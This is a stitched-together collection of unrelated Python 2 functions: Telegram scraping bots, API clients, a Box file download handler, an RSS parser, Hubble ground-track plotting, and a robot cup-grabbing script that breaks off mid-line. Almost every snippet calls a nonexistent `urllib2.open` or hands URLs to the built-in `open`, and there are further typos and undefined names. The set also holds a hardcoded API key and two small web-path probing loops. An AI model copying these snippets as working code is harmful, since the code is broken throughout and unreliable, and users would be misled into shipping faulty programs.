def download(url, savedir=TMPDIR): bname = path.basename(url) destfile = path.join(savedir, bname) filedata = urllib2.open(url) with open(destfile, 'wb') as f: f.write(filtdata.read()) return destfile
def get_brent_price(message): pattern = r"(?<=\>).+?(?=\<)" out = ['Brent Price Now :'] url = bs(open('http://www.bloomberg.com/energy').read()) c = url('table')[0].findAll('tr')[2].findAll('td')[2] out.append('\n' + str(re.findall(pattern, str(c)))[2:-2] + '\n') bot.send_message(message.chat.id, " ".join(out), parse_mode="Markdown")
def __init__(self, url=None, **kwargs): ''' :param filename: A filename ''' if url: kwargs['instream'] = urllib2.open(url) super(URLDataTap, self).__init__(**kwargs)
def test_http_put_delete(url,data=None): ''' urllib2 只支持 HTTP 的 GET 和 POST 方法,如果要使用 HTTP PUT 和 DELETE,只能使用比较低层的 httplib 库。虽然如此,我们还是能通过下面的方式,使 urllib2 能够发出 HTTP PUT 或 DELETE 的包,这种做法虽然属于 Hack 的方式,但实际使用起来也没什么问题。 ''' request = urllib2.Request(url,data=data) request,get_method = lambda:'PUT' #or delete response = urllib2.open(request)
def api_call(self, method, params, internal=False): try: url_params = params # add token and dep id url_params['token'] = self.token url_params['store_department_id'] = self.dep_id url_params = encode(url_params) request = "%s%s?%s" % (self.sailplay_domain, method, url_params) data = open(request).read().decode("utf-8") response_json = json.loads(data) if internal: return request, response_json if response_json[u'status'] == u'ok': logging.info("api_call: success: [%s] " % request) return response_json else: logging.error("api_call: Error: [%s] [%s: %s]" % (request, response_json[u'status'], response_json[u'message'])) return False except Exception as e: logging.critical("api_call: Exception: [%s] [%s] " % (e, request)) return False
def do_request(self, destination): """Given a destination (usually a URL), manage authentication if needed.""" url = destination url += "&%s" % self.get_auth_querystring() response = urllib2.open(url) raw_data = response.read() return raw_data
def scan(url_s): url = "http://" + url_s try: response = urllib2.open(url) if 404 != response.getcode(): counter += 1 print response.getcode() + " " + url fp2.write(counter + str(response.getcode()) + " " + url) except Exception, e: e.massage
def get_result_table(message): pattern = r"(?<=\>).+?(?=\<)" out = [] url = 'http://www.supersport.com/football/barclays-premier-league/logs' s = bs(open(url).read()) number_of_commands = [2, 3, 4] for i in number_of_commands: c = s('table')[0].findAll('tr')[i].findAll('td')[1] b = s('table')[0].findAll('tr')[i].findAll('td')[9] out.append('\n' + str(re.findall(pattern, str(c)))[2:-2] + ":" + '\n') out.append(str(re.findall(pattern, str(b)))[2:-2]) bot.send_message(message.chat.id, " ".join(out), parse_mode="Markdown")
def usingYamlAndJson(self): """ Conventions.. safe_load, load, dump operates on file handles.. loads/dumps operates with strings """ with open('some_datafile', 'rw') as fh: #myData = yaml.safe_load(fh) #yaml.dump(myData,fh) fh.reset() myData = json.load(fh) json.dump(myData, fh) response = urllib2.open("http://www.google.com/") html = response.read()
def __init__(self, way_points): """ Initialize the mapquest key, and the waypoints """ self.key = 'Fmjtd%7Cluur2l6ynl%2Cba%3Do5-901xdu' import ipdb; ipdb.set_trace() try: if way_points[0].keys() == ['lat', 'lng']: self.way_points = way_points except Exception: print "Your way_points format is wrong, please input as: \n" print "[{'lat': xxx, 'lng': xxx}, {'lat': xxx, 'lng': xxx}, ...]" raise Exception self.url = self.__create_request_url() self.route_inform = json.load(urllib2.open(self.url))
def __init__(self, way_points): """ Initialize the mapquest key, and the waypoints """ self.key = 'Fmjtd%7Cluur2l6ynl%2Cba%3Do5-901xdu' import ipdb ipdb.set_trace() try: if way_points[0].keys() == ['lat', 'lng']: self.way_points = way_points except Exception: print "Your way_points format is wrong, please input as: \n" print "[{'lat': xxx, 'lng': xxx}, {'lat': xxx, 'lng': xxx}, ...]" raise Exception self.url = self.__create_request_url() self.route_inform = json.load(urllib2.open(self.url))
def getSpider(self): ''' 使用get发送表单 :return: ''' data = {} data['name'] = 'WHY' data['location'] = 'SDU' data['language'] = 'Python' url_values = urllib.urlencode(data) print url_values #name=Somebody+Here&language=Python&location=Northampton url = 'http://www.example.com/example.cgi' full_url = url + '?' + url_values data = urllib2.open(full_url)
def test_remote(): while not web_paths.empty(): path = web_paths.get() url = "%s/%s" %(r,files) request = urllib2.Request(url) try: response = urllib2.open(request) content = response.read() print "[%d] => %s" %(response.code, path) response.close() except urllib2.HTTPError as error: print "Failed %s" %error.code pass for i in range(threads): print "Spawning thread: %d" %i t = threading.Thread(target=test_remote) t.start()
def do(begin=''): ''' >>> from urlparse import parse_qs >>> parse_qs(w) u'FVlevel': [u'4'], u'FVboardX': [u'5'], u'FVboardY': [u'5'], u'FVinsMax': [u'3'], u'FVinsMin': [u'2'], u'FVterrainString': [u'.XX............XX.X....XX']} >>> w u'FVterrainString=.XX............XX.X....XX&FVinsMax=3&FVinsMin=2&FVboardX=5&FVboardY=5&FVlevel=4' ''' doc = open(_url+begin).readlines() #================================ level 100 html = ''.join(doc) _list = html.split('<!--')[1] doc = _list.split('-->')[0] #================================ level 100 soup = bs(''.join(doc)) for one in soup.findAll(attrs={'name':'FlashVars'}): d = parse_qs(one.get('value')) level = int(d[u'FVlevel'][0]) insMin = int(d[u'FVinsMin'][0]) insMax = int(d[u'FVinsMax'][0]) boardX = int(d[u'FVboardX'][0]) boardY = int(d[u'FVboardY'][0]) _map = d[u'FVterrainString'][0] map = str2map(_map,boardX,boardY) print "level %d"%level _begin = time.time() path = '' for n in range(insMin,insMax+1): for x in range(1,n+2): y = n+2-x mini = map2mini(map,x,y) path = fire(mini,x,y) if path:break if path:break print "time ",time.time()-_begin print("level %d path is [ %s ]"%(level,path)) do(path)
def login(self): url_params = encode({ 'store_department_id': self.dep_id, 'store_department_key': self.dep_key, 'pin_code': self.pin_code }) data = open("%s/api/v2/login/?%s" % (self.sailplay_domain, url_params)).read().decode("utf-8") response_json = json.loads(data) if response_json[u'status'] == u'ok': logging.info("sp_api_connector: login: success: [%s]" % (response_json)) self.token = response_json[u'token'] return self.token else: logging.error( "sp_api_connector: login: failure: [%s: %s] " % (response_json[u'status'], response_json[u'message'])) return False
def boxDownload(): fileID = request.args.get('fileID','') url = baseBoxURL + '/2.0/files/'+ fileID +'/content' req = urllib2.Request(url) req.add_header('Authorization','Bearer ' + access_token) response = urllib2.urlopen(req) redirectLocation = '' fileData = response.read() LOG(response.info()) LOG(fileData) if response.code == 302 : redirectLocation = response.info()['location'] req = urllib2.Request(redirectLocation) response = urllib2.open(req) return Response(response.read(),mimetype="text/plain",headers={"Content-Disposition": "attachment;filename=test.txt"}) else: fileInfo = response.info()['Content-Disposition']; mimeType = response.info()['Content-Type']; return Response(fileData,mimetype=mimeType,headers={"Content-Disposition":fileInfo})
def get_rb_diff(rid): # Log in reviewboard login_path = "account/login/" cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) url = urljoin(RB_SERVER, login_path) resp = urllib2.urlopen(url) data = urllib.urlencode(dict(username=USERNAME, password=PASSWORD)) page = opener.open(url, data).read() if page.find("<title>Log In") != -1: raise SvnError, "Login failed!" return diff_path = "r/%s/diff/raw" % rid diff_url = urljoin(RB_SERVER, diff_path) response = urllib2.open(diff_url) diff = response.read() return diff
def boxDownload(): fileID = request.args.get('fileID', '') url = baseBoxURL + '/2.0/files/' + fileID + '/content' req = urllib2.Request(url) req.add_header('Authorization', 'Bearer ' + access_token) response = urllib2.urlopen(req) redirectLocation = '' fileData = response.read() LOG(response.info()) LOG(fileData) if response.code == 302: redirectLocation = response.info()['location'] req = urllib2.Request(redirectLocation) response = urllib2.open(req) return Response( response.read(), mimetype="text/plain", headers={"Content-Disposition": "attachment;filename=test.txt"}) else: fileInfo = response.info()['Content-Disposition'] mimeType = response.info()['Content-Type'] return Response(fileData, mimetype=mimeType, headers={"Content-Disposition": fileInfo})
def parseFeed(feed, user): index = open(feed.url) # gets html index index = index.read() # continues soupd = soup(index) # parse the hml with BeautifulSoup rsslink = soupd.findAll("link", type="application/rss+xml") # this little mess will get the # rss link if rsslink == "[]": rsslink = soupd.findAll("link", type="application/rdf+xml") # or rdf elif rsslink == "[]": rsslink = soupd.findAll("link", type="application/atom+xml") # or atom rsslink = str(rsslink) # and put to a string # no need to understand this as none will ever comprehend RegExp # a hint, it strips the link out of the html tag link = re.search('href=".*?"', rsslink) if link == 0: link = link.group() link = re.search('HREF=".*?"', rsslink) link = link.strip("HREF=") link = str(link) link = link.strip('""') elif link == 0: print "erro, linha 94 engine.py, link para rss n encontrado!" else: link = link.group() link = str(link) link = link.strip("href=") link = link.strip('""') feed.rsslink = link # we will need to store this, for updates # now some more fun, getting the real thing, xml content # from the link we have xml = open(link) xml = xml.read() # time to parse it with FeedParser k = feedparse(xml) feed.title = k.feed.title feed.put() # now let's parse the posts one-by-one for x in range(len(k.entries)): p = str(x) post = Post(url=k.entries[x].link, owner=user) # now that the post model is set, let us play! # ugly but necessary: if k.entries[x].has_key("author") is True: post.author = k.entries[x].author + " sings " else: post.author = "Anonymous" if k.entries[x].has_key("category") is True: post.category = " on " + k.entries[x].category else: post.category = "" if k.entries[x].has_key("date_parsed") is True: date = parseDate(k.entries[x].date_parsed) post.date = date if k.entries[x].has_key("summary") is True: post.summary = k.entries[x].summary else: post.summary = "No private dancing, cowboy..." if k.entries[x].has_key("title") is True: post.title = k.entries[x].title if len(post.title) == 0: post.title = "Untitled" post.feed = feed.key() post.put() return feed
def plotContoursOverHSTTrack( data, hst_start, hst_stop, tlefile, ephemerisOnline=False, SAA_zoomed=False, hold_on=False ): num_points = int((hst_stop - hst_start) / ephem.minute) + 1 # Read in the HST Two-Line ephemeris if ephemerisOnline: import urllib2 hand = urllib2.open("http://celestrak.com/NORAD/elements/science.txt") data = hand.readlines() hand.close() HST = [[d[val], d[val + 1], d[val + 2]] for val, line in enumerate(d) if "HST" in line] hst = ephem.readtle(string.strip(HST[0][0]), string.strip(HST[0][1]), string.strip(HST[0][2])) else: temp = open(tlefile, "r").readlines() hst = ephem.readtle(string.strip(temp[0]), string.strip(temp[1]), string.strip(temp[2])) cur_time = hst_start hst_longs = [] hst_lats = [] for i in range(0, num_points): hst.compute(cur_time) hst_longs.append(hst.sublong.znorm * 180.0 / math.pi) hst_lats.append(hst.sublat * 180.0 / math.pi) cur_time = cur_time + ephem.minute hst_longs = N.array(hst_longs) hst_lats = N.array(hst_lats) # projection lon_0 = 335 lat_0 = -20 llcrnrlat = -60 llcrnrlon = -100 urcrnrlat = 20 urcrnrlon = 60 # use these values to setup Basemap instance. width = 14000000 height = 10000000 # SAA if SAA_zoomed: m = Basemap(width=width, height=height, resolution="c", projection="aeqd", lat_0=lat_0, lon_0=lon_0) sz = 100 else: m = Basemap(resolution="c", projection="mbtfpq", lon_0=lon_0) sz = 35 # OTHER PROJECTIONS # crashed? # m = Basemap(resolution='c', projection='aeqd', lat_0 = lat_0, lon_0 = lon_0) # Full map, good # m = Basemap(resolution='c', projection='mbtfpq', lon_0 = lon_0) # Full map, diff projection # m = Basemap(resolution='c', projection='moll', lon_0 = lon_0) # Globe, SAA well presented # m = Basemap(resolution='c', projection='ortho', lon_0 = lon_0, lat_0 = lat_0) # Square, SAA well presented. # m = Basemap(resolution='c',projection='cyl',llcrnrlat=llcrnrlat,llcrnrlon=llcrnrlon,urcrnrlat=urcrnrlat,urcrnrlon=urcrnrlon) p = FontProperties() font1 = p.copy() font1.set_size("small") # draw coasts and fill continents. m.drawcoastlines(linewidth=0.5) # m.fillcontinents() m.drawparallels(arange(-80, 81, 10), labels=[1, 1, 0, 0], fontproperties=font1, labelstyle="+/-") m.drawmeridians(arange(-180, 180, 20), labels=[0, 0, 0, 1], fontproperties=font1, labelstyle="+/-") m.bluemarble() m.drawmapboundary() # SAA 02 x2, y2 = m( [ 357.4 - 360, 357.6 - 360, 356.9 - 360, 355.0 - 360, 352.3 - 360, 348.7 - 360, 342.9 - 360, 336.4 - 360, 324.8 - 360, 303.2 - 360, 292.1 - 360, 289.0 - 360, 285.9 - 360, 283.5 - 360, 282.5 - 360, 282.4 - 360, 282.7 - 360, 357.4 - 360, ], [ -28.3, -26.1, -23.7, -21.2, -18.8, -16.3, -13.0, -10.6, -9.1, -11.9, -14.9, -17.0, -19.1, -21.3, -23.7, -26.0, -28.6, -28.3, ], ) # SAA 03 x3, y3 = m( [ 20.0, 21.0, 19.0, 7.5, 347.0 - 360, 336.4 - 360, 324.8 - 360, 303.2 - 360, 292.1 - 360, 285.9 - 360, 283.5 - 360, 282.5 - 360, 282.4 - 360, 282.7 - 360, 20.0, ], [-28.3, -27.5, -26.1, -19.8, -9.6, -7.6, -6.0, -7.9, -12.0, -17.1, -20.3, -23.5, -26.0, -28.6, -28.3], ) # SAA 04 x4, y4 = m( [ 25.0, 7.0, 351.0 - 360, 341.0 - 360, 318.0 - 360, 300.0 - 360, 290.0 - 360, 284.0 - 360, 278.0 - 360, 273.0 - 360, 275.0 - 360, 25.0, ], [-28.5, -16.0, -6.5, -2.0, 1.0, -3.0, -7.0, -10.0, -15.0, -20.0, -30.0, -28.5], ) # SAA 05,23 x5, y5 = m( [ 300.0 - 360, 45.0, 40.0, 30.0, 10.0, 0.0, 341.0 - 360, 318.0 - 360, 300.0 - 360, 283.0 - 360, 273.0 - 360, 275.0 - 360, 300.0 - 360, ], [-50.0, -30.0, -25.0, -21.0, -15.0, -10.2, -2.0, 1.0, -3.0, -8.0, -20.0, -30.0, -50.0], ) # SAA 06 x6, y6 = m( [ 20.0, 21.0, 19.0, 7.5, 347.0 - 360, 336.4 - 360, 324.8 - 360, 303.2 - 360, 292.1 - 360, 285.9 - 360, 283.5 - 360, 282.5 - 360, 282.4 - 360, 282.7 - 360, 20.0, ], [-28.3, -27.5, -26.1, -19.8, -9.6, -7.6, -6.0, -7.9, -12.0, -17.1, -20.3, -23.5, -26.0, -28.6, -28.3], ) # SAA saa02 = m.plot( x2, y2, marker="D", markersize=4.0, markeredgewidth=0.0, color="turquoise", linestyle="-", label="02" ) saa03 = m.plot(x3, y3, marker="v", markersize=4.0, markeredgewidth=0.0, color="white", linestyle="-", label="03") saa04 = m.plot(x4, y4, marker="^", markersize=4.0, markeredgewidth=0.0, color="orange", linestyle="-", label="04") saa05 = m.plot(x5, y5, marker="s", markersize=4.0, markeredgewidth=0.0, color="green", linestyle="-", label="05") saa06 = m.plot(x6, y6, marker="x", markersize=4.0, markeredgewidth=1.0, color="magenta", linestyle="-", label="06") # HST observation ground track xhst, yhst = m(hst_longs, hst_lats) # hst = m.plot(xhst,yhst,marker='+',markersize=4.0,markeredgewidth=1.0,color='red',linestyle='-',linewidth=0.7,label='hst') # scatter plot if hold_on: scatter = m.scatter(xhst[:-1], yhst[:-1], s=sz, c=data, cmap=cm.jet, linestyle="solid", zorder=11, hold="on") else: fig = P.figure(1) points = N.array([xhst, yhst]).T.reshape(-1, 1, 2) segments = N.concatenate([points[:-1], points[1:]], axis=1) ax = P.axes() lc = LineCollection(segments, cmap=P.get_cmap("jet"), norm=P.Normalize(0, 10000)) lc.set_array(data) lc.set_linewidth(5) ax.add_collection(lc) axcb = fig.colorbar(lc) axcb.set_label("EVENTS") # contour plot # cs = m.contour(xhst, yhst, data, 15, linewidths = 1.5) # mx = N.max(data) # cbar = map.colorbar(s, ticks=[N.max(data), mx//2., mx], orientation='vertical') hst_label = "HST once per minute" font = p.copy() # font.set_size('xx-small') font.set_size("small") leg = legend( (saa02, saa03, saa04, saa05, saa06, hst), ( "PASS SAA Level 1 - FGS Guidance & STIS LV", "PASS SAA Level 2 - STIS", "PASS SAA Level 3 - ACS & WFC3", "PASS SAA Level 4 - Astrometry & NICMOS", "PASS SAA Level 5 - COS", hst_label, ), prop=font, numpoints=2, borderpad=0.3, loc="upper center", borderaxespad=0.0, ncol=2, ) leg.get_frame().set_alpha(0.7) # draw the title. P.title("HST from %s to %s" % (str(arg1), str(arg2))) if hold_on == False: P.show()
def plotHSTtrack(hst_start, hst_stop, tlefile, ephemerisOnline = False): num_points = int((hst_stop - hst_start)/ephem.minute) + 1 # Read in the HST Two-Line ephemeris if ephemerisOnline: import urllib2 hand = urllib2.open('http://celestrak.com/NORAD/elements/science.txt') data = hand.readlines() hand.close() HST = [[d[val], d[val+1], d[val+2]] for val, line in enumerate(d) if 'HST' in line] hst = ephem.readtle(string.strip(HST[0][0]), string.strip(HST[0][1]), string.strip(HST[0][2])) else: temp = open(tlefile, 'r').readlines() hst = ephem.readtle(string.strip(temp[0]), string.strip(temp[1]), string.strip(temp[2])) cur_time = hst_start hst_longs = [] hst_lats = [] for i in range(0,num_points): hst.compute(cur_time) hst_longs.append(hst.sublong.znorm*180.0/math.pi) hst_lats.append(hst.sublat*180.0/math.pi) cur_time = cur_time + ephem.minute lon_0 = 335 lat_0 = -20 llcrnrlat = -60 llcrnrlon = -100 urcrnrlat = 20 urcrnrlon = 60 # use these values to setup Basemap instance. width = 14000000 height = 10000000 #m = Basemap(width=width,height=height,\ # resolution='c',projection='aeqd',\ # lat_0=lat_0,lon_0=lon_0) #m = Basemap(resolution='c',projection='aeqd',lat_0=lat_0,lon_0=lon_0) #m = Basemap(width=width,height=height,\ # resolution='c',projection='aea',\ # lat_0=lat_0,lon_0=lon_0) m = Basemap(resolution='c', projection='mbtfpq', lon_0=lon_0) #m = Basemap(resolution='c',projection='moll',lon_0=lon_0) #m = Basemap(resolution='c',projection='ortho',lon_0=lon_0,lat_0=lat_0) #m = Basemap(resolution='c',projection='cyl',llcrnrlat=llcrnrlat,llcrnrlon=llcrnrlon,urcrnrlat=urcrnrlat,urcrnrlon=urcrnrlon) p = FontProperties() font1 = p.copy() font1.set_size('small') # draw coasts and fill continents. m.drawcoastlines(linewidth = 0.5) #m.fillcontinents() m.drawparallels(arange(-80,81,10),labels=[1,1,0,0],fontproperties=font1,labelstyle="+/-") m.drawmeridians(arange(-180,180,20),labels=[0,0,0,1],fontproperties=font1,labelstyle="+/-") m.bluemarble() m.drawmapboundary() # SAA 02 x2,y2 = m([357.4-360,357.6-360,356.9-360,355.0-360,352.3-360,348.7-360,342.9-360,336.4-360,324.8-360,303.2-360,292.1-360,289.0-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360,357.4-360], \ [-28.3,-26.1,-23.7,-21.2,-18.8,-16.3,-13.0,-10.6, -9.1,-11.9,-14.9,-17.0,-19.1,-21.3,-23.7,-26.0,-28.6,-28.3]) # SAA 03 #x3,y3 = m([294.4-360,301.4-360,350.0-360,358.4-360,335.8-360,304.6-360,295.5-360,279.4-360,282.6-360,294.4-360], \ # [-41.0,-42.8,-30.0,-20.9,-4.9,-4.9,-7.0,-21.9,-32.7,-41.0]) x3,y3 = m([ 20.0, 21.0, 19.0, 7.5,347.0-360,336.4-360,324.8-360,303.2-360,292.1-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360, 20.0], \ [-28.3,-27.5,-26.1,-19.8, -9.6, -7.6, -6.0, -7.9,-12.0,-17.1,-20.3,-23.5,-26.0,-28.6,-28.3]) # SAA 04 #x4,y4 = m([335.0-360,345.0-360,349.0-360,346.0-360,330.0-360,314.0-360,310.0-360,303.0-360,310.0-360,325.0-360,335.0-360], \ # [-33.0,-27.0,-24.0,-23.0,-25.0,-30.0,-32.2,-39.0,-40.0,-37.0,-33.0]) x4,y4 = m([ 25.0, 7.0,351.0-360,341.0-360,318.0-360,300.0-360,290.0-360,284.0-360,278.0-360,273.0-360,275.0-360, 25.0], \ [-28.5,-16.0, -6.5, -2.0, 1.0, -3.0, -7.0,-10.0,-15.0,-20.0,-30.0,-28.5]) # SAA 05,23 x5,y5 = m([300.0-360, 45.0, 40.0, 30.0, 10.0, 0.0,341.0-360,318.0-360,300.0-360,283.0-360,273.0-360,275.0-360,300.0-360], \ [-50.0,-30.0,-25.0,-21.0,-15.0,-10.2, -2.0, 1.0, -3.0, -8.0,-20.0,-30.0,-50.0]) # SAA 06 #x6,y6 = m([359.0-360,360.0-360,335.4-360,323.0-360,290.0-360,280.0-360,276.0-360,280.0-360,359.0-360], \ # [-28.0,-20.9,-3.4,-0.0,-7.0,-12.6,-20.9,-30.0,-28.0]) x6,y6 = m([ 20.0, 21.0, 19.0, 7.5,347.0-360,336.4-360,324.8-360,303.2-360,292.1-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360, 20.0], \ [-28.3,-27.5,-26.1,-19.8, -9.6, -7.6, -6.0, -7.9,-12.0,-17.1,-20.3,-23.5,-26.0,-28.6,-28.3]) # SAA 07 x7,y7 = m([300.0-360,359.0-360,5.0,341.0-360,318.0-360,300.0-360,283.0-360,273.0-360,275.0-360,300.0-360], \ [-50.0,-41.0,-23.0,-2.0,1.0,-3.0,-8.0,-20.0,-30.0,-50.0]) # SAA 24,25,28,31,32 x24,y24=m([ 20.0, 21.0, 19.0, 7.5,347.0-360,336.4-360,324.8-360,303.2-360,292.1-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360, 20.0], \ [-28.3,-27.5,-26.1,-19.8, -9.6, -7.6, -6.0, -7.9,-12.0,-17.1,-20.3,-23.5,-26.0,-28.6,-28.3]) # SAA 26,27,29,30 x26,y26=m([ 25.0, 7.0,351.0-360,341.0-360,318.0-360,300.0-360,290.0-360,284.0-360,278.0-360,273.0-360,275.0-360, 25.0], \ [-28.5,-16.0, -6.5, -2.0, 1.0, -3.0, -7.0,-10.0,-15.0,-20.0,-30.0,-28.5]) # HST observation ground track xhst,yhst = m(hst_longs, hst_lats) saa02 = m.plot(x2,y2,marker='D',markersize=4.0,markeredgewidth=0.0,color='turquoise',linestyle='-',label='02') saa03 = m.plot(x3,y3,marker='v',markersize=4.0,markeredgewidth=0.0,color='white',linestyle='-',label='03') saa04 = m.plot(x4,y4,marker='^',markersize=4.0,markeredgewidth=0.0,color='orange',linestyle='-',label='04') saa05 = m.plot(x5,y5,marker='s',markersize=4.0,markeredgewidth=0.0,color='green',linestyle='-',label='05') saa06 = m.plot(x6,y6,marker='x',markersize=4.0,markeredgewidth=1.0,color='magenta',linestyle='-',label='06') #saa07 = m.plot(x7,y7,marker='>',markersize=4.0,markeredgewidth=0.0,color='darkorchid',linestyle='-',label='07') #saa24 = m.plot(x24,y24,marker='x',markersize=4.0,markeredgewidth=1.0,color='green',linestyle='-',label='24') #saa26 = m.plot(x26,y26,marker='^',markersize=4.0,markeredgewidth=0.0,color='maroon',linestyle='-',label='26') hst = m.plot(xhst,yhst,marker='+',markersize=4.0,markeredgewidth=1.0,color='red',linestyle='-',linewidth=0.7,label='hst') #SMN: #cnts must be sampled similar as xhst and yhst! #cs = m.contour(xhst,yhst,cnts,15,linewidths=1.5) hst_label = 'HST once per minute' font = p.copy() #font.set_size('xx-small') font.set_size('small') leg=legend((saa02,saa03,saa04,saa05,saa06,hst), \ ('PASS SAA Level 1 - FGS Guidance & STIS LV', \ 'PASS SAA Level 2 - STIS', \ 'PASS SAA Level 3 - ACS & WFC3', \ 'PASS SAA Level 4 - Astrometry & NICMOS', \ 'PASS SAA Level 5 - COS', \ #'07 - GHRS', \ #'24/25/31/32 - STIS CCD/STIS MAMA/COS FUV/COS NUV', \ #'26/27/28/29/30 - WFPC2/ACS CCD/ACS SBC/WFC3 UVIS/WFC3 IR', \ hst_label), \ prop=font,numpoints=2,borderpad=0.3,loc='upper center',borderaxespad=0.0,ncol=2) leg.get_frame().set_alpha(0.7) #figlegend((saa02,saa05,saa24,saa26),('02','05','24','26'),'upper right') # draw the title. title('HST from %s to %s' % (str(arg1),str(arg2))) show()
#!/usr/bin/env python import urllib2 import sys search_url = 'http://eztv.it/search' postdata = None query = '' request = urllib2.Request(search_url, postdata) data = urllib2.open(request) results = data.read()
import urllib2 help_File = urllib2.open('http://172.16.1.14:10009/sms/help') ptz_startFile = urllib2.open('http://172.16.1.14:10009/sms/ptz/start') ptz_startRet = ptz_startFile.read(100) record_startFile = urllib2.open('http://172.16.1.14:10009/sms/record') record_startRet = record_startFile.read(100) #FIXME sleep time sleep(1000) ptz_closeFile = urllib2.open('http://172.16.1.14:10009/sms/ptz/close') ptz_closeRet = ptz_closeFile.read(100) sleep(1000)
def main(): tags = {} cup_tags = [] #Wait for the IK service to become available rospy.wait_for_service('compute_ik') rospy.init_node('service_query') right_gripper = baxter_gripper.Gripper('right') left_gripper = baxter_gripper.Gripper('left') right_gripper.calibrate() # left_gripper.calibrate() #Create the function used to call the service compute_ik = rospy.ServiceProxy('compute_ik', GetPositionIK) rospy.wait_for_service('fixed_multi_service') get_ar = rospy.ServiceProxy('fixed_multi_service', ARPose) tag3 = get_ar(3) tag4 = get_ar(4) tag5 = get_ar(5) cup_tags.append(tag3) cup_tags.append(tag4) cup_tags.append(tag5) def get_closest_cup_tag(ar_tag, cup_tags): def dist(x1, y1, z1, x2, y2, z2): return (x1 - x2)**2 + (y1 - y2)**2 + (z1 - z2)**2 minDist = float('inf') minTag = None for T in cup_tags: d = dist(ar_tag.pos_x, ar_tag.pos_y, ar_tag.pos_z, T.pos_x, T.pos_y, T.pos_z) if d < minDist: minDist = d minTag = T return minTag # starting position os.system( 'rosrun cup_grabber joint_trajectory_file_playback.py -f starting_position' ) left = baxter_interface.Limb('left') right = baxter_interface.Limb('right') grip_left = baxter_interface.Gripper('left', CHECK_VERSION) grip_right = baxter_interface.Gripper('right', CHECK_VERSION) lj = left.joint_names() rj = right.joint_names() def move(curr, trans): a = 14 * np.pi / 180 cx, cy, cz = curr tx, ty, tz = trans nz = tz * np.cos(a) - ty * np.sin(a) ny = tz * np.sin(a) + ty * np.cos(a) return (cx + tx, cy + ny, cz + nz) ################### learning tag3 while tag3.tag_name == 'notfound': tag3 = get_ar(3) print 'tag3 not found' cup_tags[0] = tag3 currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z) currori = (-.083, -.02, -.697, .712) right_gripper.open() currxyz = move(currxyz, (-.1, .11, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (-.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) tag8 = get_ar(8) tag9 = get_ar(9) tag10 = get_ar(10) if tag8.tag_name != 'notfound': tags[8] = tag8 if tag9.tag_name != 'notfound': tags[9] = tag9 if tag10.tag_name != 'notfound': tags[10] = tag9 ################### learning tag4 while tag4.tag_name == 'notfound': tag4 = get_ar(4) print 'tag4 not found' cup_tags[1] = tag4 currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z) currxyz = move(currxyz, (-.1, .11, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (-.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) tag8 = get_ar(8) tag9 = get_ar(9) tag10 = get_ar(10) if tag8.tag_name != 'notfound': tags[8] = tag8 if tag9.tag_name != 'notfound': tags[9] = tag9 if tag10.tag_name != 'notfound': tags[10] = tag9 ################### learning tag5 while tag5.tag_name == 'notfound': tag5 = get_ar(5) print 'tag5 not found' cup_tags[2] = tag5 currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z) currxyz = move(currxyz, (-.1, .1, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (-.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) tag8 = get_ar(8) tag9 = get_ar(9) tag10 = get_ar(10) if tag8.tag_name != 'notfound': tags[8] = tag8 if tag9.tag_name != 'notfound': tags[9] = tag9 if tag10.tag_name != 'notfound': tags[10] = tag9 ############################################# done sensing the environment order = urllib2.open('http://baxterorder.herokuapp.com/getorder').read() print order raw_input('continue with making order!') ################ pick up bottle with '8' contents cup_tag_near_8 = get_closest_cup_tag(tag8, cup_tags) curr = None if cup_tag_near_8.tag_name == '3': currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z) curr = 3 elif cup_tag_near_8.tag_name == '4': currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z) curr = 4 elif cup_tag_near_8.tag_name == '5': currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z) curr = 5 currxyz = move(currxyz, (-.1, .1, -.1)) requestIK('right_gripper', 'right_arm', 